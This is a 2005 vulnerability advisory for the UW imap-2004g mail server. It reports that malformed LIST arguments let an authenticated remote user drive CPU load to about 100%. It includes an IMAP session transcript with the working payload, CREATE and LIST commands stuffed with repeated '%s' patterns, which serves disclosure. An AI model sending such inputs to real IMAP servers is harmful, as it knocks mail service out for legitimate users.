Vulnerability report.

Product: UW imap-2004g

Risk: high

Vulnerability type: remote

Description:
Vulnerability exists due to insufficient checking of LIST command
arguments in IMAP service.

Effect:
Malefactor can cause ~100% processor load on a vulnerable system.

Vulnerability usage example:

* OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS AUTH=PLAIN
AUTH=LOGIN] localhost IMAP4rev1 2004.357 at Fri, 25 Nov 2005 15:47:18
+0200 (EET)
0001 login test 1234
0001 OK [CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE MAILBOX-REFERRALS
BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT
MULTIAPPEND] User test authenticated
0002 CREATE
"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s"
0002 OK CREATE completed
0003 LIST
"%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" "%s%s%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%
s%s%s%s%s%s%s"


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Best regards,
 Igor                            mailto:[EMAIL PROTECTED]


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